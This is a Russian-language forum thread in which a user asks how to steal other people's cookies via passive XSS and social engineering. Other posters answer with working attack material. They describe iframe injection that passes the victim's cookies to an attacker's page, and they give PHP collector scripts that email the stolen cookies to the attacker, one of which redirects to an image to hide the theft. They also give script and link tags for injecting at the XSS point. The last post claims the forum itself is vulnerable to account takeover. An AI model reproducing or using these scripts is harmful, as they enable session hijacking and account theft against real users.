Как получить куки через пассивный XSS

[Ibragim30]

Всем привет. Подскажите, как можно получить cookies другого человека с помощью социальной инженерии ?
Вроде есть XSS методы ?!

Спасибо

 

[Arty]

Всем привет. Подскажите, как можно получить cookies другого человека с помощью социальной инженерии ?
Вроде есть XSS методы ?!

Спасибо

Юзай iframe на твой сайт, где аргументом будут куки пользователя, а на сайте сохраняй в документ или БД(по желанию)

 

[Ibragim30]

Юзай iframe на твой сайт, где аргументом будут куки пользователя, а на сайте сохраняй в документ или БД(по желанию)

Сайта своего нет, интересует пассивный XSS

 

[Arty]

Сайта своего нет, интересует пассивный XSS

А чем по твоему пассивный от активного отличается? Напиши небольшой скрипт на php, и благодаря пассивному XSS добавь на страницу тег iframe открывающий твою страницу(установи её на hostinger'е) и передающий куки как аргумент который будет сохранён.

 

[Web kit]

Создаём ftp сервер / затем создаём файл index.php
Открываем пишем

<?php
$cookie = $_SERVER['HTTP_COOKIE'];
mail('ваша почта', 'cook', $cookie);
?>

Затем вставляем там где xss

<script src="https://домен.ру/index.php"></script>

Если скрипт блокинирует попробуй линк

<link src="домен.ру/index.php" />

 

[Web kit]

Для тех, у кого атрофированы руки, и поэтому они не в состоянии пользоваться гуглом.
Можете почитать о том, что такое XSS по ссылке - https://forum.antichat.ru/threads/xss-dlja-novichkov.20140/ (не реклама)

Да там написано как их выводить в ссылку, а как их от туда получить не написал, там надо было ставить ссылку на пхп файл, потом когда кто-то посмотрит изображение его отправят по ссылке к пхп файлу с куками на ссылке, пхп скрипт возьмет эти куки и сохранит на сервере, далее дела header('location:ссылка на изображение') - благодаря этому когда мы отправим нашу вредосную ссылку с пхп скрипом на странице всё равно будет показана наше изображение которые мы задали в header
В общем код будет такой:

<?php
//берем куки с ссылки
$cookie = $_SERVER['REQUEST_URI'];
//Отправляем их на нашу почту
mail('твоя почта', '123', $cookie);
//После отправки ссылки пхп файла будет показана картинка которая мы указали в header
header('Location:ссылка на картинку');
?>

 

[Web kit]

Да и на вашем сайте тоже по-моему есть похожая уязвимость + у вас куки не защищены. Можно получить доступ к любому пользователю только там и си в помошь ( это не фишинг)